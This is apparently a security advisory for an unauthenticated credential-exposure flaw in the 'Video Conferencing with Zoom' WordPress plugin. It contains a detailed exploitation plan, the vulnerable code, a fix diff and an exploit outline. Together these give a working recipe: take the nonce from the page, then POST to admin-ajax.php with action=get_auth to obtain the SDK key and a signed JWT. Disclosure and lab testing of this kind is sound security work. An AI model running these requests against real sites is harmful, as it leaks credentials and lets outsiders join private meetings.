Video Conferencing with Zoom <= 4.6.7 - Missing Authorization to Unauthenticated Zoom SDK Credential Exposure via 'get_auth' AJAX Action
Description
The Video Conferencing with Zoom plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 4.6.7. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to obtain the site's Zoom SDK API key and a freshly-signed JWT that can be used with the Zoom Web SDK to join any Zoom meeting associated with those credentials without a legitimate invitation.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=4.6.7What Changed in the Fix
Changes introduced in v4.6.8
Source Code
WordPress.org SVNThis research plan outlines the technical steps required to analyze and demonstrate the missing authorization vulnerability in the "Video Conferencing with Zoom" plugin (CVE-2026-6964). ### 1. Vulnerability Summary The vulnerability is a **Missing Authorization** flaw located in the `get_auth` AJAX…
Show full research plan
This research plan outlines the technical steps required to analyze and demonstrate the missing authorization vulnerability in the "Video Conferencing with Zoom" plugin (CVE-2026-6964).
1. Vulnerability Summary
The vulnerability is a Missing Authorization flaw located in the get_auth AJAX action. The plugin registers this action for unauthenticated users (wp_ajax_nopriv_get_auth) but fails to implement any capability checks (e.g., current_user_can) within the handler. While the endpoint is protected by a WordPress nonce, the nonce is exposed to unauthenticated visitors on any page where the Zoom Web SDK is initialized. Consequently, an attacker can retrieve the nonce, call the AJAX action, and obtain the site's Zoom SDK Key and a signed JWT (signature) to join meetings.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
get_auth - Parameters:
action:get_auth(Required)noncce: A valid WordPress nonce for the action_nonce_zvc_security(Required)meeting_id: A Zoom meeting ID (Required to generate the JWT)
- Authentication: None (Unauthenticated)
- Preconditions: The "Join via Browser" (SDK) feature must be enabled in the plugin settings.
3. Code Flow
- Entry Point: The AJAX request is received by WordPress and dispatched to the handler registered in
includes/admin/class-zvc-admin-ajax.php:add_action('wp_ajax_nopriv_get_auth', array($this, 'get_auth')); - Nonce Verification: The
get_auth()function callscheck_ajax_referer:public function get_auth() { check_ajax_referer('_nonce_zvc_security', 'noncce'); // ... - Credential Retrieval: If the nonce is valid and SDK is enabled via
vczapi_is_sdk_enabled(), the plugin fetches sensitive credentials:$sdk_key = get_option('vczapi_sdk_key'); $secret_key = get_option('vczapi_sdk_secret_key'); - JWT Generation: The plugin generates a signature using the secret key via
generate_sdk_signature():$signature = $this->generate_sdk_signature($sdk_key, $secret_key, $meeting_id, 0); - Data Exposure: The SDK Key and Signature are returned in a JSON response:
wp_send_json_success(['sig' => $signature, 'key' => $sdk_key, 'type' => 'sdk']);
4. Nonce Acquisition Strategy
The nonce is required to pass the check_ajax_referer check. The plugin exposes this nonce via wp_localize_script to support the frontend "Join via Browser" functionality.
- Trigger: The scripts are enqueued when a Zoom Meeting post is viewed or when the
[zoom_join_via_browser]shortcode is present. - Acquisition Steps:
- Create a Zoom Meeting post or a page with the
[zoom_join_via_browser]shortcode. - Navigate to the page as an unauthenticated user.
- Extract the nonce from the global JavaScript object
zvc_ajx.
- Create a Zoom Meeting post or a page with the
- JS Extraction: Use
browser_evalto get the value ofwindow.zvc_ajx?.zvc_security.
5. Exploitation Strategy
This strategy assumes an isolated environment with the plugin installed and configured.
- Extract Nonce:
- Navigate to a page containing a Zoom meeting (e.g., the meeting post created in Step 6).
- Execute
browser_eval("window.zvc_ajx.zvc_security")to obtain the nonce.
- Trigger Credential Exposure:
- Use the
http_requesttool to send a POST request to the AJAX endpoint. - URL:
http://<target>/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=get_auth&noncce=<NONCE>&meeting_id=123456789
- Use the
- Capture Response: The response should be a JSON object containing the
keyandsig.
6. Test Data Setup
To facilitate the PoC, the environment must be configured as follows:
- Configure Zoom API: Use WP-CLI to set dummy Zoom credentials (required for the logic to reach the sink):
wp option update zoom_api_key "dummy_api_key" wp option update zoom_api_secret "dummy_api_secret" wp option update vczapi_sdk_key "test_sdk_key" wp option update vczapi_sdk_secret_key "test_sdk_secret_01234567890123456789" - Enable SDK:
wp option update vczapi_set_sdk_feature_parent 1 - Create Meeting: Create a Zoom Meeting post to ensure the frontend scripts (and nonce) load:
wp post create --post_type=zoom-meetings --post_title="Exploit Test Meeting" --post_status=publish
7. Expected Results
A successful exploit will return an HTTP 200 response with a JSON body similar to:
{
"success": true,
"data": {
"sig": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
"key": "test_sdk_key",
"type": "sdk"
}
}
The sig value is a valid JWT signed with the vczapi_sdk_secret_key.
8. Verification Steps
After performing the HTTP request, verify the leaked data matches the database:
- Compare the
keyin the JSON response with the output ofwp option get vczapi_sdk_key. - Decode the
sig(JWT) using a tool or script to verify thesdkKeyclaim matches thevczapi_sdk_keyand themn(meeting number) claim matches themeeting_idsent in the request.
9. Alternative Approaches
If the zvc_ajx object is not found on the page:
- Search the HTML source for
zvc_ajxto see if it is localized under a different variable name or embedded in a script block. - Check if the shortcode
[zoom_api_link meeting_id="12345"]or the Gutenberg block for Zoom Meetings enqueues the necessary assets. - If
vczapi_is_sdk_enabled()returns false, the exploit will return an error. Ensure the SDK feature is explicitly enabled in the settings (optionvczapi_set_sdk_feature_parent).
Summary
The Video Conferencing with Zoom plugin for WordPress fails to perform authorization checks on the 'get_auth' AJAX action, which is exposed to unauthenticated users. An attacker can obtain the site's Zoom SDK API key and a freshly-signed JWT signature by using a publicly available nonce, allowing them to join any Zoom meeting associated with the credentials.
Vulnerable Code
// includes/admin/class-zvc-admin-ajax.php:23 add_action('wp_ajax_nopriv_get_auth', array($this, 'get_auth')); add_action('wp_ajax_get_auth', array($this, 'get_auth')); --- // includes/admin/class-zvc-admin-ajax.php:183 public function get_auth() { check_ajax_referer('_nonce_zvc_security', 'noncce'); $meeting_id = filter_input(INPUT_POST, 'meeting_id'); if (vczapi_is_sdk_enabled()) { $sdk_key = get_option('vczapi_sdk_key'); $secret_key = get_option('vczapi_sdk_secret_key'); $signature = $this->generate_sdk_signature($sdk_key, $secret_key, $meeting_id, 0); wp_send_json_success(['sig' => $signature, 'key' => $sdk_key, 'type' => 'sdk']); } else { wp_send_json_error('Error occured!'); } wp_die(); }
Security Fix
@@ -1 +1 @@ -"use strict";(self.webpackChunkvideo_conferencing_with_zoom_api=self.webpackChunkvideo_conferencing_with_zoom_api||[]).push([[721],{631:(e,n,t)=>{var i=t(114);const o={meetingID:atob(zvc_ajx.meeting_id),redirectTo:zvc_ajx.redirect_page,password:!1!==zvc_ajx.meeting_pwd&&atob(zvc_ajx.meeting_pwd),infoContainer:document.querySelector(".vczapi-zoom-browser-meeting--info__browser"),init:function(){this.initSDK(),this.eventHandlers(),zvc_ajx.enable_direct_join_via_browser&&this.handleJoinOnInit()},initSDK:function(){i.ZoomMtg.preLoadWasm(),i.ZoomMtg.prepareWebSDK()},eventHandlers:function(){let e=document.getElementById("vczapi-zoom-browser-meeting-join-mtg");null!=e&&(e.onclick=this.handleJoinMeetingButton.bind(this))},handleJoinOnInit:function(){const e=zvc_ajx.user_name,n=zvc_ajx.user_mail,t=this.password;this.handleJoinMeeting(e,t,n)},loader:function(){const e=document.createElement("span");return e.id="zvc-cover",e},generateSignature:async function(){const e=new FormData;return e.append("action","get_auth"),e.append("noncce",zvc_ajx.zvc_security),e.append("meeting_id",parseInt(this.meetingID)),(await fetch(zvc_ajx.ajaxurl,{method:"POST",body:e})).json()},removeLoader:function(){null!==document.getElementById("zvc-cover")&&document.getElementById("zvc-cover").remove()},handleJoinMeeting:function(e,n,t,i){null==this.meetingID&&""===this.meetingID||this.generateSignature().then((o=>{if(o.success){document.getElementById("zmmtg-root").style.display="block",this.removeLoader();const a={name:null!==e?e:"",password:null!==n?n:"",email:null!==t?t:"",locale:i};this.prepBeforeJoin(o,a)}}))},handleJoinMeetingButton:function(e){e.preventDefault(),document.body.appendChild(this.loader());const n=document.getElementById("vczapi-jvb-display-name"),t=document.getElementById("vczapi-jvb-email"),i=document.getElementById("meeting_password"),o=document.querySelector(".meeting-locale");if(null!==n&&(null===n.value||""===n.value))return this.infoContainer.innerHTML="Name is a Required field!",this.infoContainer.style.color="red",this.removeLoader(),!1;if(null!==t&&(null===t.value||""===t.value))return this.infoContainer.innerHTML="Email is a Required field!",this.infoContainer.style.color="red",this.removeLoader(),!1;if(null!==i&&(null===i.value||""===i.value))return this.infoContainer.innerHTML="Validation: Password is Required!",this.infoContainer.style.color="red",this.removeLoader(),!1;const a=null!==n?n.value:"",r=null!==i?i.value:"",l=null!==t?t.value:"",s=null!==o.value?o.value:"en-US";this.handleJoinMeeting(a,r,l,s)},prepBeforeJoin:function(e,n){const t=e.data.key,i=e.data.sig,o=e.data.type,a=document.getElementById("vczapi-zoom-browser-meeting");null!==a&&a.remove();const r={lang:n.locale,leaveUrl:this.redirectTo};let l={meetingNumber:parseInt(this.meetingID),userName:n.name,signature:i,userEmail:n.email,passWord:n.password?n.password:this.password,success:function(e){console.log("Join Meeting Success")},error:function(e){console.log(e)}};const s=new URLSearchParams(window.location.search),c=Object.fromEntries(s.entries());null!==c.tk&&(l.tk=c.tk),window.location!==window.parent.location&&(r.leaveUrl=window.location.href),"jwt"===o?l.apiKey=t:"sdk"===o&&(l.sdkKey=t),this.joinMeeting(r,l)},joinMeeting:function(e,n){i.ZoomMtg.i18n.load(e.lang),i.ZoomMtg.init({leaveUrl:e.leaveUrl,isSupportAV:!0,meetingInfo:zvc_ajx.meetingInfo,disableInvite:zvc_ajx.disableInvite,disableRecord:zvc_ajx.disableRecord,disableJoinAudio:zvc_ajx.disableJoinAudio,isSupportChat:zvc_ajx.isSupportChat,isSupportQA:zvc_ajx.isSupportQA,isSupportBreakout:zvc_ajx.isSupportBreakout,isSupportCC:zvc_ajx.isSupportCC,screenShare:zvc_ajx.screenShare,success:function(){i.ZoomMtg.join(n)},error:function(e){console.log(e)}})}};document.addEventListener("DOMContentLoaded",o.init())}},e=>{e(e.s=631)}]); \ No newline at end of file +"use strict";(self.webpackChunkvideo_conferencing_with_zoom_api=self.webpackChunkvideo_conferencing_with_zoom_api||[]).push([[721],{631:(e,n,t)=>{var i=t(114);const o={meetingID:atob(zvc_ajx.meeting_id),redirectTo:zvc_ajx.redirect_page,password:!1!==zvc_ajx.meeting_pwd&&atob(zvc_ajx.meeting_pwd),infoContainer:document.querySelector(".vczapi-zoom-browser-meeting--info__browser"),init:function(){this.initSDK(),this.eventHandlers(),zvc_ajx.enable_direct_join_via_browser&&this.handleJoinOnInit()},initSDK:function(){i.ZoomMtg.preLoadWasm(),i.ZoomMtg.prepareWebSDK()},eventHandlers:function(){let e=document.getElementById("vczapi-zoom-browser-meeting-join-mtg");null!=e&&(e.onclick=this.handleJoinMeetingButton.bind(this))},handleJoinOnInit:function(){const e=zvc_ajx.user_name,n=zvc_ajx.user_mail,t=this.password;this.handleJoinMeeting(e,t,n)},loader:function(){const e=document.createElement("span");return e.id="zvc-cover",e},generateSignature:async function(){const e=new FormData;return e.append("action","get_auth"),e.append("noncce",zvc_ajx.zvc_security),e.append("meeting_id",parseInt(this.meetingID)),(await fetch(zvc_ajx.ajaxurl,{method:"POST",body:e,credentials:"same-origin"})).json()},removeLoader:function(){null!==document.getElementById("zvc-cover")&&document.getElementById("zvc-cover").remove()},handleJoinMeeting:function(e,n,t,i){null==this.meetingID&&""===this.meetingID||this.generateSignature().then((o=>{if(o.success){document.getElementById("zmmtg-root").style.display="block",this.removeLoader();const a={name:null!==e?e:"",password:null!==n?n:"",email:null!==t?t:"",locale:i};this.prepBeforeJoin(o,a)}}))},handleJoinMeetingButton:function(e){e.preventDefault(),document.body.appendChild(this.loader());const n=document.getElementById("vczapi-jvb-display-name"),t=document.getElementById("vczapi-jvb-email"),i=document.getElementById("meeting_password"),o=document.querySelector(".meeting-locale");if(null!==n&&(null===n.value||""===n.value))return this.infoContainer.innerHTML="Name is a Required field!",this.infoContainer.style.color="red",this.removeLoader(),!1;if(null!==t&&(null===t.value||""===t.value))return this.infoContainer.innerHTML="Email is a Required field!",this.infoContainer.style.color="red",this.removeLoader(),!1;if(null!==i&&(null===i.value||""===i.value))return this.infoContainer.innerHTML="Validation: Password is Required!",this.infoContainer.style.color="red",this.removeLoader(),!1;const a=null!==n?n.value:"",r=null!==i?i.value:"",l=null!==t?t.value:"",s=null!==o.value?o.value:"en-US";this.handleJoinMeeting(a,r,l,s)},prepBeforeJoin:function(e,n){const t=e.data.sig,i=document.getElementById("vczapi-zoom-browser-meeting");null!==i&&i.remove();const o={lang:n.locale,leaveUrl:this.redirectTo};let a={meetingNumber:parseInt(this.meetingID),userName:n.name,signature:t,userEmail:n.email,passWord:n.password?n.password:this.password,success:function(e){console.log("Join Meeting Success")},error:function(e){console.log(e)}};const r=new URLSearchParams(window.location.search),l=Object.fromEntries(r.entries());null!==l.tk&&(a.tk=l.tk),window.location!==window.parent.location&&(o.leaveUrl=window.location.href),this.joinMeeting(o,a)},joinMeeting:function(e,n){i.ZoomMtg.i18n.load(e.lang),i.ZoomMtg.init({leaveUrl:e.leaveUrl,isSupportAV:!0,meetingInfo:zvc_ajx.meetingInfo,disableInvite:zvc_ajx.disableInvite,disableRecord:zvc_ajx.disableRecord,disableJoinAudio:zvc_ajx.disableJoinAudio,isSupportChat:zvc_ajx.isSupportChat,isSupportQA:zvc_ajx.isSupportQA,isSupportBreakout:zvc_ajx.isSupportBreakout,isSupportCC:zvc_ajx.isSupportCC,screenShare:zvc_ajx.screenShare,success:function(){i.ZoomMtg.join(n)},error:function(e){console.log(e)}})}};document.addEventListener("DOMContentLoaded",o.init())}},e=>{e(e.s=631)}]); \ No newline at end of file @@ -180,15 +182,40 @@ */ public function get_auth() { - check_ajax_referer('_nonce_zvc_security', 'noncce'); ... (truncated)
Exploit Outline
1. Navigate to any page on the target site that displays a Zoom meeting (triggering the 'Join via Browser' scripts). 2. Extract the AJAX nonce from the frontend HTML or the global JavaScript object `window.zvc_ajx.zvc_security`. 3. Identify a valid Zoom meeting ID associated with the site. 4. Send an unauthenticated POST request to `/wp-admin/admin-ajax.php` with the parameters `action=get_auth`, `noncce=<EXTRACTED_NONCE>`, and `meeting_id=<MEETING_ID>`. 5. Capture the JSON response, which contains the site's Zoom SDK API Key and a signed JWT signature for the provided meeting ID. 6. Use these credentials with the Zoom Web SDK to join the target meeting.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.